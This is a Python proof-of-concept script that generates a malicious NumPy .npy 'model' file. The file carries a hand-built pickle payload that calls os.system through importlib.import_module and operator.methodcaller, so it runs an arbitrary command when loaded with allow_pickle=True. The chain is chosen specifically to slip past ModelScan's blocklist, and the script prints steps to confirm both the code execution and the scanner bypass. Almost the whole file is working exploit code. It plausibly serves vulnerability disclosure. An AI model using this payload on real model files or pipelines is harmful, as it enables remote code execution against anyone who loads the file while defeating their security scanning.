generate_malicious_npy.py

"""
PoC: Arbitrary Code Execution via NumPy .npy file
Bypasses ModelScan blocklist using importlib.import_module + operator.methodcaller

Usage:
    python generate_malicious_npy.py
    
This creates malicious_model.npy which:
1. Passes ModelScan safety checks (no flagged imports)
2. Executes arbitrary commands when loaded with numpy.load(allow_pickle=True)
"""
import io
import struct
import os

def generate_malicious_npy(output_path="malicious_model.npy", command="echo RCE_PROOF > /tmp/pwned.txt"):
    """Generate a .npy file with object dtype containing a pickle RCE payload."""
    
    # Build pickle payload using only non-blocklisted modules:
    #   - importlib.import_module: NOT in ModelScan's unsafe_globals
    #   - operator.methodcaller: only 'attrgetter' is blocked, NOT 'methodcaller'
    #
    # Chain: operator.methodcaller('system', cmd)(importlib.import_module('os'))
    
    buf = io.BytesIO()
    buf.write(b'\x80\x04')  # Protocol 4
    
    # Step 1: importlib.import_module('os') -> os module
    buf.write(b'\x8c' + bytes([len('importlib')]) + b'importlib')
    buf.write(b'\x8c' + bytes([len('import_module')]) + b'import_module')
    buf.write(b'\x93')  # STACK_GLOBAL
    buf.write(b'\x8c' + bytes([len('os')]) + b'os')
    buf.write(b'\x85')  # TUPLE1
    buf.write(b'R')     # REDUCE -> os module on stack
    buf.write(b'\x94')  # MEMOIZE -> memo[0]
    
    # Step 2: operator.methodcaller('system', cmd)
    buf.write(b'\x8c' + bytes([len('operator')]) + b'operator')
    buf.write(b'\x8c' + bytes([len('methodcaller')]) + b'methodcaller')
    buf.write(b'\x93')  # STACK_GLOBAL
    buf.write(b'\x8c' + bytes([len('system')]) + b'system')
    buf.write(b'\x8c' + bytes([len(command)]) + command.encode())
    buf.write(b'\x86')  # TUPLE2
    buf.write(b'R')     # REDUCE -> methodcaller object
    buf.write(b'\x94')  # MEMOIZE -> memo[1]
    
    # Step 3: methodcaller(os_module) -> os.system(cmd) -> RCE
    buf.write(b'h\x01')  # BINGET memo[1] (methodcaller)
    buf.write(b'h\x00')  # BINGET memo[0] (os module)
    buf.write(b'\x85')   # TUPLE1
    buf.write(b'R')      # REDUCE -> RCE!
    buf.write(b'.')      # STOP
    
    exploit_pickle = buf.getvalue()
    
    # Wrap in NumPy .npy format (object dtype array)
    magic = b'\x93NUMPY'
    version = b'\x01\x00'
    header = b"{'descr': '|O', 'fortran_order': False, 'shape': (1,), }"
    padding = 64 - ((len(magic) + len(version) + 2 + len(header)) % 64)
    if padding < 1:
        padding += 64
    header += b' ' * (padding - 1) + b'\n'
    header_len = struct.pack('<H', len(header))
    
    npy_data = magic + version + header_len + header + exploit_pickle
    
    with open(output_path, "wb") as f:
        f.write(npy_data)
    
    print(f"Created: {output_path} ({len(npy_data)} bytes)")
    return output_path

if __name__ == "__main__":
    generate_malicious_npy()
    print("\nTo verify RCE:")
    print("  python -c \"import numpy; numpy.load('malicious_model.npy', allow_pickle=True)\"")
    print("  cat /tmp/pwned.txt")
    print("\nTo verify ModelScan bypass:")
    print("  modelscan --path malicious_model.npy")